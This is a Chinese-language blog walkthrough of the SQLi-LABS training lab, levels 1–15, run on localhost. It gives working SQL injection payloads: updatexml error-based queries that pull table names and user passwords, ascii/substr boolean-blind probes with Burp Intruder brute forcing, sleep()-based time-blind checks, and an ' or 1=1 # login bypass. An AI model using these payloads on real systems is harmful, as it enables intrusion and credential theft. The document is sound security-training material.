SQLi-LABS Page-1(Basic Challenges)通关攻略

       第一关

首先,判断注入为字符型

再判断字段

字段为3

再确定回显点,2.3字段存在回显。

查询数据库和版本

输出以下语句找到security的库并查看库中users的列

最后罗列出列里的所有值

加上~隔开。

第二关 

首先判断注入类型为数字型,并判断字段为3。而后步骤同第一关。

第三关

首先判断注入类型为字符型(')),而后步骤同第一二关。

第四关

首先判断注入类型为字符型(")),而后步骤同上。

第五关

这是一个报错注入

跟个单引号引起报错 说明页面有报错语句的位置

http://127.0.0.1/Less-5/?id=1' --+尝试闭合 闭合成功

3.http://127.0.0.1/Less-5/?id=1' and updatexml(1,1,1)--+ 使用报错函数,报错函数里面三个参数,写三个1占位置

4.http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,1),1)--+ 我们可以操控的是第二个参数的位置

所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置

5.http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select database())),1)--+ 我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句 成功查出数据库名 后面查什么在子查询括号里面查就行

6.查表名http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1)--+

7.查users下的列名

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

8.查具体的username和password

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+

结果显示不全,只能通过limit一条一条查询

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select username from users limit 0,1)),1)--+ //第一条的username

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select username from users limit 1,1)),1)--+ //第二条的username

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select username from users limit 2,1)),1)--+ //第三条的username

password同理。

第六关

首先判断注入方式,输入"后报错,可以使用报错注入的方式进行sql注入。

而后利用函数update()查询表

接下的步骤同第一关。

第七关

方法采用布尔盲注,字符号为'))

第八关

首先判断注入方式

输入单引号后页面没有报错没有提示,我们用布尔盲注。

判断字段为3.

判断当前数据库的⻓度,利⽤⼆分法,>10时数据没有回显。继续判断⼤于7正常显示,⼤于8不显示,说明⼤于7⽽不⼤于8,所以可知当前数据库⻓度为8个字符

2 :判断当前数据库的字符 , 和上⾯的⽅法⼀样,利⽤⼆分法依次判断
// 判断数据库的第⼀个字符
?id=1' and ascii(substr(database(),1,1))>115 --+ //115 ascii 表中的⼗进制,对
应字⺟ s
// 判断数据库的第⼆个字符
?id=1' and ascii(substr(database(),2,1))>100 --+
// 判断数据库的第三个字符
?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security
方法一:
抓取以下数据包并将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向
量,并设置攻击模式为集束炸弹(Cluster bomb);进⼊Payload标签下设置攻击内容如下并开启爆破攻
击....
输入  ?id=1'and ascii(substr(database(),1,1))=115--+ 发送到inturder 清除payload,在如图俩个位置添加payload。选择集束炸弹。
并设置payload数值开始攻击
进行ascii码转换就可以得到数据库名字。同样的办法得到表的名字。

第九关

时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

页面加载3秒,说明为单引号。接着判断数据库名长度。

逐一判断数据库字符。

判断所有表长的长度和名字。

判断方法与布尔盲注相同。

第十关

第十关和第九关一样只需要将单引号换成双引号。

第十一关

输入1'后报错,根据报错信息可以推断该sql语句username='参数' and password='参数'

输入万能密码 1'or 1=1 # 出现了显示,接下来的步骤和第一关一样。

第十二关

第十二关和十一关一样,把' 换成')

第十三关

输入1')后有报错,说明是报错注入

输入后没有回显,采用报错注入。

接着用报错注入,原理同第六关。

第十四关

该关的闭合方式为" ,其余与第十三关一样。

第十五关

输入1' 1" 1')等都没有报错信息,没有任何显示,说明为盲注。

输入1'or1=1 登陆成功,闭合方式为'

采用时间盲注的方法,方法与第九关相同。

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值